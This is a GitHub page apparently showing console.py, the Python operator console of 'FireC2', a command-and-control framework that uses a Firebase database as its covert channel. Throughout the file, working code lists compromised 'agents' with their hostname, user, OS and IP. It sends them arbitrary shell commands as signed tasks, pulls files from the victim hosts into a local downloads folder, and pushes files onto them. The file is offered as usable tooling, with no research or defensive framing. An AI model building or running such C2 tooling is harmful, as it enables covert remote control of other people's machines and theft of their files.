-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathconsole.py
More file actions
777 lines (605 loc) · 23 KB
/
console.py
File metadata and controls
777 lines (605 loc) · 23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
import os
import sys
import uuid
import time
import hmac
import base64
import hashlib
import requests
import gzip
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.layout import Layout
from rich.live import Live
from rich.text import Text
from datetime import datetime
from pathlib import Path
from prompt_toolkit import PromptSession
from prompt_toolkit.history import InMemoryHistory
from prompt_toolkit.key_binding import KeyBindings
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.completion import WordCompleter
# ===== CONFIG =====
tenant_id = str(sys.argv[1]).strip()
FIREBASE = f"https://{tenant_id}.firebaseio.com/"
SECRET = b"shared-agent-secret"
# ---------- helpers ----------
history = InMemoryHistory()
kb = KeyBindings()
# Ctrl+D → exit shell
@kb.add("c-d")
def _(event):
event.app.exit(exception=EOFError)
# Ctrl+C → cancel current input (bash behavior)
@kb.add("c-c")
def _(event):
event.app.current_buffer.reset()
# Commands for autocomplete
commands = [
"agents", "agents active", "agents dead", "use", "use last",
"history", "clear", "exit", "back", "download", "upload",
"cancel", "refresh", "export", "files", "kill", "info"
]
completer = WordCompleter(commands, ignore_case=True)
session = PromptSession(
history=history,
key_bindings=kb,
completer=completer,
)
console = Console()
def clear_terminal():
os.system("cls" if os.name == "nt" else "clear")
def safe_path(path: str) -> str:
return base64.urlsafe_b64encode(path.encode()).decode().rstrip("=")
def fmt_time(ts):
if not ts:
return "N/A"
return datetime.fromtimestamp(ts).strftime("%Y-%m-%d %H:%M:%S")
def decode_path(key: str) -> str:
padding = "=" * (-len(key) % 4)
return base64.urlsafe_b64decode(key + padding).decode()
def decompress_output(data):
"""Decompress gzipped output if needed"""
if isinstance(data, dict):
if data.get("compressed"):
raw = gzip.decompress(base64.b64decode(data["data"]))
return raw.decode('utf-8')
return data.get("data", "")
return data
def save_file(agent_id, key, data, base_dir="downloads"):
"""Save downloaded file in flat structure: downloads/agent_id/filename"""
original_path = decode_path(key).lstrip("/")
# Берём только имя файла без пути
filename = Path(original_path).name
# Плоская структура
outpath = Path(base_dir) / agent_id / filename
outpath.parent.mkdir(parents=True, exist_ok=True)
raw = base64.b64decode(data["content"])
with open(outpath, "wb") as f:
f.write(raw)
# Integrity check
sha = hashlib.sha256(raw).hexdigest()
if sha != data.get("sha256"):
raise ValueError("SHA256 mismatch")
return outpath
def relative_time(ts):
if not ts:
return "N/A"
diff = int(time.time()) - ts
if diff < 60:
return f"{diff}s ago"
elif diff < 3600:
return f"{diff//60}m ago"
elif diff < 86400:
return f"{diff//3600}h ago"
else:
return f"{diff//86400}d ago"
def get_agent_status(last_seen):
"""Determine agent status based on last heartbeat"""
if not last_seen:
return "unknown", "dim"
diff = int(time.time()) - last_seen
if diff < 30:
return "online", "bold green"
elif diff < 120:
return "idle", "yellow"
else:
return "offline", "red"
def render_agents(filter_status=None):
"""
Render agents table with optional status filter
filter_status: None (all), 'active' (online+idle), or 'dead' (offline)
"""
agents = fb_get("agents") or {}
if not agents:
console.print("[yellow]No agents registered[/yellow]")
return
# Filter agents by status
filtered_agents = {}
for aid, data in agents.items():
hb = data.get("heartbeat", {}).get("last_seen")
status, _ = get_agent_status(hb)
if filter_status == "active" and status in ["online", "idle"]:
filtered_agents[aid] = data
elif filter_status == "dead" and status == "offline":
filtered_agents[aid] = data
elif filter_status is None:
filtered_agents[aid] = data
if not filtered_agents:
console.print(f"[yellow]No {filter_status or 'agents'} found[/yellow]")
return
# Build title based on filter
if filter_status == "active":
title = "🟢 Active Agents (Online + Idle)"
elif filter_status == "dead":
title = "🔴 Dead Agents (Offline)"
else:
title = "🔥 All Agents"
table = Table(
title=title,
header_style="bold cyan",
border_style="bright_black",
show_lines=True
)
table.add_column("ID", style="bold green", no_wrap=True)
table.add_column("STATUS", justify="center")
table.add_column("HOST", style="white")
table.add_column("USER", style="magenta")
table.add_column("OS", style="yellow")
table.add_column("ARCH", style="cyan")
table.add_column("PID", justify="right")
table.add_column("IP", style="blue")
table.add_column("LAST SEEN", style="dim")
for aid, data in filtered_agents.items():
hb = data.get("heartbeat", {}).get("last_seen")
meta = data.get("meta", {})
status, status_style = get_agent_status(hb)
table.add_row(
aid,
f"[{status_style}]●[/{status_style}] {status}",
meta.get("hostname", "N/A"),
meta.get("user", "N/A"),
f'{meta.get("os", "N/A")} {meta.get("os_version", "")}',
meta.get("arch", "N/A"),
str(meta.get("pid", "N/A")),
meta.get("ip", "N/A"),
relative_time(hb),
)
console.print(table)
console.print(f"[dim]Total: {len(filtered_agents)} agents[/dim]")
def fb_get(path):
try:
r = requests.get(f"{FIREBASE}/{path}.json", timeout=10)
r.raise_for_status()
return r.json()
except requests.exceptions.RequestException as e:
console.print(f"[red]Firebase error:[/red] {e}")
return None
def fb_put(path, data):
try:
r = requests.put(f"{FIREBASE}/{path}.json", json=data, timeout=10)
r.raise_for_status()
return True
except requests.exceptions.RequestException as e:
console.print(f"[red]Firebase error:[/red] {e}")
return False
def fb_delete(path):
try:
r = requests.delete(f"{FIREBASE}/{path}.json", timeout=10)
r.raise_for_status()
return True
except requests.exceptions.RequestException as e:
console.print(f"[red]Firebase error:[/red] {e}")
return False
def sign(action, nonce):
msg = f"{action}:{nonce}".encode()
return hmac.new(SECRET, msg, hashlib.sha256).hexdigest()
# ---------- core ----------
def send_task(agent_id, action):
task_id = str(uuid.uuid4())
nonce = uuid.uuid4().hex
task = {
"action": action,
"params": {},
"nonce": nonce,
"sig": sign(action, nonce),
"status": "pending",
"created": int(time.time())
}
if fb_put(f"tasks/{agent_id}/{task_id}", task):
return task_id
return None
def wait_result(agent_id, task_id, timeout=30):
"""Wait for result with progress indicator"""
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
console=console,
transient=True
) as progress:
task = progress.add_task(f"Waiting for result...", total=None)
start = time.time()
while time.time() - start < timeout:
res = fb_get(f"results/{agent_id}/{task_id}")
if res:
progress.stop()
return res
time.sleep(1)
progress.stop()
return {"ok": False, "error": "timeout"}
def show_history(agent_id):
tasks = fb_get(f"tasks/{agent_id}") or {}
results = fb_get(f"results/{agent_id}") or {}
entries = []
for tid, task in tasks.items():
res = results.get(tid, {})
# Handle compressed outputs
stdout = decompress_output(res.get("stdout", ""))
stderr = decompress_output(res.get("stderr", ""))
entries.append({
"task_id": tid,
"cmd": task.get("action", ""),
"stdout": stdout,
"stderr": stderr,
"returncode": res.get("returncode", 0),
"created": task.get("created", 0),
"finished": res.get("finished", 0)
})
entries = sorted(entries, key=lambda x: x["created"])
if not entries:
console.print(f"[yellow]No history for agent {agent_id}[/yellow]")
return entries
for i, entry in enumerate(entries, 1):
dt = datetime.fromtimestamp(entry["created"])
ts = dt.strftime("%Y-%m-%d %H:%M:%S")
# Duration
duration = "pending"
if entry["finished"]:
duration = f"{entry['finished'] - entry['created']}s"
console.print(
Panel(
f"[bold cyan]{entry['cmd']}[/bold cyan]\n"
f"[dim]ID: {entry['task_id']} | Time: {ts} | Duration: {duration}[/dim]",
border_style="cyan"
)
)
if entry["stdout"]:
console.print(entry["stdout"])
if entry["stderr"]:
console.print(f"[red]{entry['stderr']}[/red]")
console.print(f"[dim][returncode={entry['returncode']}][/dim]\n")
return entries
def export_history(agent_id, filename=None):
"""Export history to text file"""
entries = show_history(agent_id)
if not entries:
return
if not filename:
filename = f"history_{agent_id}_{int(time.time())}.txt"
with open(filename, "w") as f:
f.write(f"=== Agent {agent_id} History ===\n")
f.write(f"Exported: {datetime.now()}\n\n")
for entry in entries:
f.write(f"Command: {entry['cmd']}\n")
f.write(f"Time: {fmt_time(entry['created'])}\n")
f.write(f"Task ID: {entry['task_id']}\n")
f.write("-" * 80 + "\n")
if entry["stdout"]:
f.write(f"STDOUT:\n{entry['stdout']}\n")
if entry["stderr"]:
f.write(f"STDERR:\n{entry['stderr']}\n")
f.write(f"Return code: {entry['returncode']}\n")
f.write("=" * 80 + "\n\n")
console.print(f"[bold green]History exported to:[/bold green] {filename}")
def show_files(agent_id):
"""Show downloaded files for an agent"""
files_dir = Path("downloads") / agent_id
if not files_dir.exists():
console.print(f"[yellow]No files downloaded for agent {agent_id}[/yellow]")
return
table = Table(
title=f"📁 Downloaded Files - {agent_id}",
header_style="bold cyan",
border_style="bright_black"
)
table.add_column("FILE", style="white")
table.add_column("SIZE", justify="right", style="yellow")
table.add_column("MODIFIED", style="dim")
for filepath in files_dir.rglob("*"):
if filepath.is_file():
stat = filepath.stat()
size = stat.st_size
# Human readable size
if size < 1024:
size_str = f"{size}B"
elif size < 1024**2:
size_str = f"{size/1024:.1f}KB"
elif size < 1024**3:
size_str = f"{size/1024**2:.1f}MB"
else:
size_str = f"{size/1024**3:.1f}GB"
table.add_row(
str(filepath.relative_to(files_dir)),
size_str,
fmt_time(stat.st_mtime)
)
console.print(table)
def upload_file_to_agent(agent_id, local_path, remote_path):
"""Upload file from operator to agent host"""
if not os.path.isfile(local_path):
console.print(f"[red]Local file not found:[/red] {local_path}")
return False
with console.status(f"[bold cyan]Reading file {local_path}..."):
with open(local_path, "rb") as f:
content = f.read()
sha256 = hashlib.sha256(content).hexdigest()
size = len(content)
# Check size limit (Firebase has 1MB per value limit)
if size > 1_000_000:
console.print(f"[red]File too large:[/red] {size/1024/1024:.2f}MB (max 1MB)")
return False
upload_id = str(uuid.uuid4())
upload_data = {
"path": remote_path,
"sha256": sha256,
"size": size,
"uploaded": int(time.time()),
"content": base64.b64encode(content).decode()
}
with console.status(f"[bold cyan]Uploading to agent..."):
if not fb_put(f"uploads/{agent_id}/{upload_id}", upload_data):
return False
console.print(f"[dim]Upload {upload_id} sent, waiting for agent...[/dim]")
# Wait for upload result
start = time.time()
timeout = 30
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
console=console,
transient=True
) as progress:
task = progress.add_task(f"Agent processing upload...", total=None)
while time.time() - start < timeout:
res = fb_get(f"upload_results/{agent_id}/{upload_id}")
if res:
progress.stop()
if res.get("ok"):
console.print(f"[bold green]✓[/bold green] {res.get('message', 'Upload successful')}")
return True
else:
console.print(f"[red]✗ Upload failed:[/red] {res.get('error', 'Unknown error')}")
return False
time.sleep(1)
progress.stop()
console.print("[yellow]Upload timeout - agent may process it later[/yellow]")
return False
def cancel_task(agent_id, task_id):
"""Cancel a pending task"""
if fb_put(f"tasks/{agent_id}/{task_id}/status", "cancelled"):
console.print(f"[yellow]Task {task_id} cancelled[/yellow]")
return True
return False
def kill_all_tasks(agent_id):
"""Mark all pending tasks as cancelled"""
tasks = fb_get(f"tasks/{agent_id}") or {}
cancelled = 0
for tid, task in tasks.items():
if task.get("status") == "pending":
if fb_put(f"tasks/{agent_id}/{tid}/status", "cancelled"):
cancelled += 1
console.print(f"[yellow]Cancelled {cancelled} pending tasks[/yellow]")
def show_agent_info(agent_id):
"""Show detailed agent information"""
agent = fb_get(f"agents/{agent_id}")
if not agent:
console.print(f"[red]Agent {agent_id} not found[/red]")
return
meta = agent.get("meta", {})
hb = agent.get("heartbeat", {}).get("last_seen")
status, status_style = get_agent_status(hb)
# Count tasks
tasks = fb_get(f"tasks/{agent_id}") or {}
pending = sum(1 for t in tasks.values() if t.get("status") == "pending")
done = sum(1 for t in tasks.values() if t.get("status") == "done")
info_text = f"""
[bold cyan]Agent ID:[/bold cyan] {agent_id}
[bold cyan]Status:[/bold cyan] [{status_style}]{status}[/{status_style}]
[bold cyan]Hostname:[/bold cyan] {meta.get('hostname', 'N/A')}
[bold cyan]User:[/bold cyan] {meta.get('user', 'N/A')}
[bold cyan]OS:[/bold cyan] {meta.get('os', 'N/A')} {meta.get('os_version', '')}
[bold cyan]Architecture:[/bold cyan] {meta.get('arch', 'N/A')}
[bold cyan]PID:[/bold cyan] {meta.get('pid', 'N/A')}
[bold cyan]IP:[/bold cyan] {meta.get('ip', 'N/A')}
[bold cyan]Transport:[/bold cyan] {meta.get('transport', 'N/A')}
[bold cyan]First Seen:[/bold cyan] {fmt_time(meta.get('first_seen'))}
[bold cyan]Last Seen:[/bold cyan] {fmt_time(hb)} ({relative_time(hb)})
[bold cyan]Tasks:[/bold cyan] {done} completed, {pending} pending
"""
console.print(Panel(info_text.strip(), title=f"Agent Info", border_style="cyan"))
def print_result(res, console):
"""Print task result with decompression support"""
stdout = decompress_output(res.get("output") or res.get("stdout", ""))
stderr = decompress_output(res.get("error") or res.get("stderr", ""))
returncode = res.get("returncode", 0)
if stdout:
console.print(stdout)
if stderr:
console.print(f"[red]{stderr}[/red]")
# Show compression info if present
if isinstance(res.get("stdout"), dict) and res["stdout"].get("compressed"):
orig = res["stdout"]["original_size"]
comp = res["stdout"]["compressed_size"]
ratio = (1 - comp/orig) * 100
console.print(f"[dim][compressed: {orig} → {comp} bytes ({ratio:.1f}% reduction)][/dim]")
console.print(f"[dim][returncode={returncode}][/dim]")
# ---------- shell ----------
current = None
# Banner
console.print(r"""
______ _ _____ ___
| ____(_) / ____|__ \
| |__ _ _ __ ___ | | ) |
| __| | | '__/ _ \ | | / /
| | | | | | __/ | |____ / /_
|_| |_|_| \___| \_____|____|
""", style="bold cyan")
console.print(
Panel(
"[bold yellow]Commands:[/bold yellow]\n"
" agents - List all agents\n"
" agents active - List only active agents (online + idle)\n"
" agents dead - List only dead agents (offline)\n"
" use <id> - Select agent\n"
" use last - Select most recent agent\n"
" info - Show detailed agent info\n"
" history - Show command history\n"
" export [file] - Export history to file\n"
" files - Show downloaded files\n"
" download <path> - Download file from agent\n"
" upload <local> <remote> - Upload file to agent\n"
" cancel <task_id> - Cancel pending task\n"
" kill - Cancel all pending tasks\n"
" refresh - Refresh agent list\n"
" clear - Clear terminal\n"
" back/exit-agent - Deselect agent\n"
" exit - Quit console",
title="FireC2 Help",
border_style="yellow"
)
)
# Shell prompt generator
def shell_prompt():
if current:
# Show agent status in prompt
agent = fb_get(f"agents/{current}")
if agent:
hb = agent.get("heartbeat", {}).get("last_seen")
status, status_style = get_agent_status(hb)
status_color = status_style.split()[1] if " " in status_style else "white"
return HTML(
f'<ansired>firec2</ansired> '
f'(<{status_color}>{current}</{status_color}>) '
f'<ansiblue>$</ansiblue> '
)
return HTML(
f'<ansired>firec2</ansired> '
f'(<ansigreen>{current}</ansigreen>) '
f'<ansiblue>$</ansiblue> '
)
else:
return HTML(
'<ansired>firec2</ansired> '
'<ansiblue>$</ansiblue> '
)
# Main shell loop
while True:
try:
cmd = session.prompt(shell_prompt()).strip()
except KeyboardInterrupt:
console.print()
continue
except EOFError:
console.print("\n[bold red]Exiting shell[/bold red]")
break
if not cmd:
continue
if cmd == "agents" or cmd == "refresh":
render_agents()
continue
elif cmd == "agents active":
render_agents(filter_status="active") # Только online + idle
continue
elif cmd == "agents dead":
render_agents(filter_status="dead") # Только offline
continue
elif cmd.startswith("use "):
target = cmd.split(maxsplit=1)[1]
if target == "last":
agents = fb_get("agents") or {}
if agents:
current = max(
agents.items(),
key=lambda x: x[1].get("heartbeat", {}).get("last_seen", 0)
)[0]
console.print(f"[bold green]✓ Using agent {current}[/bold green]")
else:
console.print("[yellow]No agents available[/yellow]")
else:
# Verify agent exists
agent = fb_get(f"agents/{target}")
if agent:
current = target
console.print(f"[bold green]✓ Using agent {current}[/bold green]")
else:
console.print(f"[red]Agent {target} not found[/red]")
continue
elif cmd == "info" and current:
show_agent_info(current)
continue
elif cmd == "history" and current:
show_history(current)
continue
elif cmd.startswith("export") and current:
parts = cmd.split(maxsplit=1)
filename = parts[1] if len(parts) > 1 else None
export_history(current, filename)
continue
elif cmd == "files" and current:
show_files(current)
continue
elif cmd.startswith("upload ") and current:
parts = cmd.split(maxsplit=2)
if len(parts) != 3:
console.print("[yellow]Usage: upload <local_path> <remote_path>[/yellow]")
continue
local_path = parts[1]
remote_path = parts[2]
upload_file_to_agent(current, local_path, remote_path)
continue
elif cmd.startswith("cancel ") and current:
task_id = cmd.split(maxsplit=1)[1]
cancel_task(current, task_id)
continue
elif cmd == "kill" and current:
kill_all_tasks(current)
continue
elif cmd in ["back", "exit-agent"]:
if current:
console.print(f"[yellow]Deselected agent {current}[/yellow]")
current = None
else:
console.print("[yellow]No agent selected[/yellow]")
continue
elif cmd == "clear":
clear_terminal()
continue
elif cmd == "exit":
console.print("[bold red]Good bye![/bold red]")
break
elif current:
task_id = send_task(current, cmd)
if not task_id:
console.print("[red]Failed to send task[/red]")
continue
console.print(f"[dim]Task {task_id} sent[/dim]")
res = wait_result(current, task_id)
print_result(res, console)
# AUTO-FETCH FILE IF DOWNLOAD
if cmd.startswith("download "):
filepath = cmd.split(maxsplit=1)[1]
key = safe_path(filepath)
with console.status("[bold cyan]Fetching file from Firebase..."):
data = fb_get(f"files/{current}/{key}")
if data:
try:
path = save_file(current, key, data)
console.print(f"[bold green]✓ File saved:[/bold green] {path}")
except Exception as e:
console.print(f"[red]✗ Save failed:[/red] {e}")
else:
console.print("[red]✗ File not found in Firebase[/red]")
else:
console.print("[yellow]⚠ No agent selected - use 'use <id>' first[/yellow]")